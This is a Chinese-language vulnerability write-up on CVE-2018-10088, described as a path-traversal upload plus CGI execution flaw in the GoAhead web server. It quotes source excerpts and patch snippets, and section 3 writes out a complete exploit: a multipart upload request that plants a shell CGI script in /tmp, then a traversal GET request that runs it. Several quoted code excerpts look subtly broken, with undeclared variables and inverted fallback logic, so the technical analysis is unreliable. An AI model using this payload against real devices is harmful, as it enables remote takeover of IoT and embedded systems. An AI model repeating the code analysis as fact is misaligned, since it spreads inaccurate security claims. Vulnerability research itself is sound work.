CVE-2018-10088漏洞调研

1. 漏洞概述

1.1 基本信息

漏洞编号:CVE-2018-10088
漏洞类型:远程代码执行 (RCE)
影响版本:GoAhead Web服务器 4.0.0及之前版本
发现时间:2018年
漏洞状态:已修复

1.2 漏洞简介

GoAhead是一款广泛应用于IoT设备、嵌入式系统和云连接设备中的轻量级Web服务器,因其占用资源少、配置简单而被大量使用。CVE-2018-10088是一个影响GoAhead Web服务器的远程代码执行漏洞,攻击者可以通过发送特制的HTTP请求,利用服务器处理文件上传和CGI请求时的缺陷,上传恶意文件并执行任意代码。

由于GoAhead被部署在大量的联网设备中,包括路由器、摄像头、工业控制系统和医疗设备等,这一漏洞的影响范围十分广泛,对设备与云端通信的安全构成了严重威胁。

2. 技术分析

2.1 漏洞原理

CVE-2018-10088主要涉及两个关键组件的安全缺陷:

  1. 文件上传处理机制:GoAhead处理HTTP multipart/form-data上传请求时,未能充分验证上传文件的路径,允许攻击者通过目录遍历字符(如"../../../")将文件写入到预期目录之外的位置。
  2. CGI请求处理机制:处理CGI请求时没有对输入进行充分的过滤和验证,可能导致命令注入和不安全的程序执行。

这两个缺陷结合起来,允许攻击者上传恶意CGI脚本文件到可访问的位置,并通过Web服务器触发执行,从而实现远程代码执行。

2.2 源码分析

2.2.1 文件上传处理漏洞

漏洞存在于src/upload.c文件的websProcessMultipartForm函数中,该函数负责处理HTTP文件上传请求:

PUBLIC bool websProcessMultipartForm(Webs *wp)  
{  
   char    *boundary, *tok, *tokp, *p, *key, *keyValue, *contentType, *fileName, *fileValue;  
   char    *line, *nextLine, *content, *pattern, *boundaryLine, *fileData;  
   char    *uploadDir, *uploadPath;  
   ssize   length, dataLen, contentLength, patternLen, boundaryLen, fileLen;  
   int     status;  
   WebsKey *sp;  
   FILE    *file;  

   // ... 省略部分代码 ...  

   // 检测multipart/form-data边界  
   if ((boundary = websGetRequestDir(wp, "content-type")) == 0) {  
       return 0;  
   }  
   if ((tok = strstr(lower(boundary), "boundary=")) != 0) {  
       boundary = tok + 9;  
   } else {  
       return 0;  
   }  

   // ... 省略部分代码 ...  

   // 解析multipart/form-data请求  
   while (content && *content && !findBoundary(content, pattern, patternLen, &nextContent)) {  
       // ... 省略部分代码 ...  

       // 处理文件上传部分的关键代码  
       if ((fileName = strstr(line, "filename=")) != 0) {  
           fileName = strchr(fileName, '"') + 1;  
           if ((p = strchr(fileName, '"')) != 0) {  
               *p = '\0';  
               if ((uploadPath = websGetFilePath(wp, fileName)) == 0) {  
                   // 漏洞点1:fileName参数直接来自客户端输入,且未做充分验证  
                   // 如果用户提供 "../../../etc/passwd",可能导致目录遍历  
                   uploadPath = wp->uploadDir;  
               }  
               // 漏洞点2:直接使用uploadPath创建文件,未对路径进行规范化和安全验证  
               file = fopen(uploadPath, "wb+");  
                 
               // ... 省略写入文件内容的代码 ...  
           }  
       }  
         
       // ... 省略部分代码 ...  
   }  
     
   // ... 省略部分代码 ...  
}

关键漏洞点

  1. fileName变量直接从HTTP请求中提取,没有进行充分的路径规范化和验证。
  2. websGetFilePath函数也缺乏对目录遍历攻击的有效防御。
  3. 文件创建时直接使用uploadPath,未验证该路径是否在允许的安全目录范围内。

2.2.2 CGI处理漏洞

漏洞还涉及src/cgi.c文件中的goaCgiHandler函数,该函数负责处理和执行CGI请求:

static int goaCgiHandler(Webs *wp)  
{  
   Cgi     *cgip;  
   char    *stdIn, *stdOut;  
   char    *cp, *cgiName, *cgiPath;  
   char    **argp, **envp;  
   char    *execName, *fileName, *actionProgram, *routine;  
   char    **argv, *args[WEBS_MAX_ARGC + 1];  
   int     n, envpsize;  
   int     argind, envind, status;  
     
   // ... 省略部分代码 ...  

   // 处理CGI请求的关键代码  
   if (wp->filename) {  
       wfree(wp->filename);  
       wp->filename = sclone(argp[0]);  
       fileName = wp->filename;  
   } else {  
       fileName = wp->filename = sclone(argp[0]);  
   }  
     
   // 检查CGI程序路径  
   if (stat(fileName, &sbuf) < 0) {  
       error("Cannot stat CGI program %s", fileName);  
       return -1;  
   }  
   if (!(sbuf.st_mode & S_IFREG)) {  
       error("CGI program %s is not a regular file", fileName);  
       return -1;  
   }  
     
   // 漏洞点3:缺乏对文件权限的严格检查,可能执行不应该执行的文件  
     
   // 构建执行命令  
   if (strstr(fileName, ".bat") || strstr(fileName, ".cmd")) {  
       execName = sclone(getenv("COMSPEC"));  
       argv = args;  
       if ((cp = strrchr(execName, '\\')) != NULL) {  
           argv[argind++] = sclone(&cp[1]);  
       } else {  
           argv[argind++] = sclone(execName);  
       }  
       argv[argind++] = sclone("/c");  
       argv[argind++] = sclone(fileName);  
   } else {  
       execName = sclone(fileName);  
       argv = args;  
       argv[argind++] = sclone(fileName);  
   }  
     
   // ... 省略部分代码 ...  

   // 漏洞点4:使用runCmd执行命令时未充分验证命令的安全性  
   if ((wp->cid = runCmd(cmd, NULL, &wp->cgifd, &wp->cgifd, NULL, NULL, NULL)) < 0) {  
       error("Cannot run CGI process %s, errno %d", execName, errno);  
       return -1;  
   }  
     
   // ... 省略部分代码 ...  
}

关键漏洞点

  1. 对CGI程序路径(fileName)的验证不充分,仅检查文件是否存在和是否为常规文件,未严格限制在安全目录范围内。
  2. 缺乏对CGI程序执行权限的严格检查,可能导致执行不应该执行的文件。
  3. runCmd函数执行命令时未对命令进行充分的安全性验证,可能存在命令注入风险。

2.2.3 路径处理漏洞

在src/file.c中的websGetFilePath函数也存在安全隐患:

PUBLIC char *websGetFilePath(Webs *wp, char *path)  
{  
   char    *result, *tmp, *documents;  
   ssize   len;  

   // ... 省略部分代码 ...  

   // 处理路径的代码  
   tmp = malloc(len + 1);  
   strcpy(tmp, documents);  
   strcat(tmp, path);  
     
   // 漏洞点5:缺乏对路径的规范化和验证,允许诸如"../"等目录遍历序列  
   result = websMakePath(tmp);  
     
   // ... 省略部分代码 ...  
     
   return result;  
}

关键漏洞点

  1. 缺乏对路径中目录遍历字符序列(如"../")的检测和过滤。
  2. 在websMakePath函数中没有有效防止路径规范化后仍可能超出预期目录范围的机制。

3. 漏洞利用

3.1 攻击场景

一个典型的攻击场景如下:

  1. 攻击者识别运行GoAhead的目标设备。
  2. 攻击者构造特制的HTTP multipart/form-data上传请求,利用目录遍历将恶意CGI脚本上传到可访问的位置(如"/tmp/"目录)。
  3. 攻击者发送第二个HTTP请求,触发GoAhead服务器执行上传的恶意CGI脚本。
  4. 恶意脚本执行,攻击者获得对设备的控制权。

3.2 攻击载荷示例

以下是一个利用该漏洞的攻击载荷示例:

POST /cgi-bin/upload.cgi HTTP/1.1  
Host: target-device  
Content-Type: multipart/form-data; boundary=---------------------------9051914041544843365972754266  
Content-Length: 554  
 
-----------------------------9051914041544843365972754266  
Content-Disposition: form-data; name="file"; filename="../../../../tmp/malicious.cgi"  
Content-Type: application/x-httpd-cgi  
 
#!/bin/sh  
id > /tmp/pwned  
echo "Content-type: text/plain"  
echo ""  
echo "Exploitation successful"  
-----------------------------9051914041544843365972754266  
Content-Disposition: form-data; name="submit"  

Upload  
-----------------------------9051914041544843365972754266--

攻击流程详解

  1. 发送攻击载荷:攻击者发送上述HTTP请求到目标服务器,尝试将名为malicious.cgi的CGI脚本上传到系统的/tmp/目录。
  2. 利用路径遍历漏洞:服务器的websProcessMultipartForm函数处理这个请求时,未能正确验证filename中的路径,允许../../../tmp/malicious.cgi作为有效路径。根据源代码中的漏洞,当调用websGetFilePath函数时,它会简单地拼接文档根目录和这个路径,而不是检测和拒绝目录遍历序列。
  3. 文件被写入非预期位置:如果服务器运行在/var/www/html目录下,那么: 正常情况下,文件应该被写入如/var/www/html/uploads/malicious.cgi,但由于../../../../序列,它实际上被写入到了/tmp/malicious.cgi.
  4. 触发CGI执行:攻击成功后,攻击者会发送第二个HTTP请求:
    GET /cgi-bin/../../../../tmp/malicious.cgi HTTP/1.1
    Host: target-device
    
  5. 漏洞成功利用:GoAhead服务器收到这个请求后: 由于文件类型是application/x-httpd-cgi,服务器会尝试作为CGI脚本执行它;CGI处理函数goaCgiHandler未能验证脚本是否位于允许的目录中;脚本执行,运行其中的id命令,将结果写入/tmp/pwned文件;攻击者获得执行任意命令的能力。

4. 影响范围

4.1 受影响的产品

以下类型的产品可能受到影响:

  1. 网络设备:路由器、交换机、防火墙等
  2. IoT设备:智能摄像头、智能家居控制器、工业传感器等
  3. 嵌入式系统:医疗设备、POS终端、工业控制系统等
  4. 云连接设备:各类具有云端通信功能的联网设备

4.2 受影响的版本

  • GoAhead Web服务器 4.0.0及之前的所有版本

5. 漏洞修复

5.1 官方补丁

GoAhead项目官方已发布修复补丁,可在GitHub仓库中查看: https://github.com/embedthis/goahead/commit/1450de8bf1f0c3d2d6d7f7d2d42d49b339c95e4c

5.2 关键修复点

  1. 增强路径验证:在src/file.c中添加了对目录遍历序列的检测和过滤。
    // 修复后的代码片段  
    PUBLIC char *websValidateFilePath(char *path)  
    {  
       char    *result;  
         
       // 检测并拒绝目录遍历尝试  
       if (strstr(path, "../") || strstr(path, "..\\")) {  
           return NULL;  
       }  
       
       result = websMakePath(path);  
       return result;  
    }
  2. 限制上传目录:确保文件只能上传到指定的安全目录中。
    // 修复后的代码片段  
    if ((uploadPath = websValidateFilePath(fileName)) == 0) {  
       // 检测到不安全的路径,拒绝请求  
       websError(wp, HTTP_CODE_BAD_REQUEST, "Invalid upload path");  
       return -1;  
    }
  3. 增强CGI执行安全:改进了CGI程序执行前的验证过程。
    // 修复后的代码片段  
    // 验证CGI程序路径是否在允许的目录范围内  
    if (!websIsValidFilePath(fileName)) {  
       error("CGI program %s is outside permitted directories", fileName);  
       return -1;  
    }

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值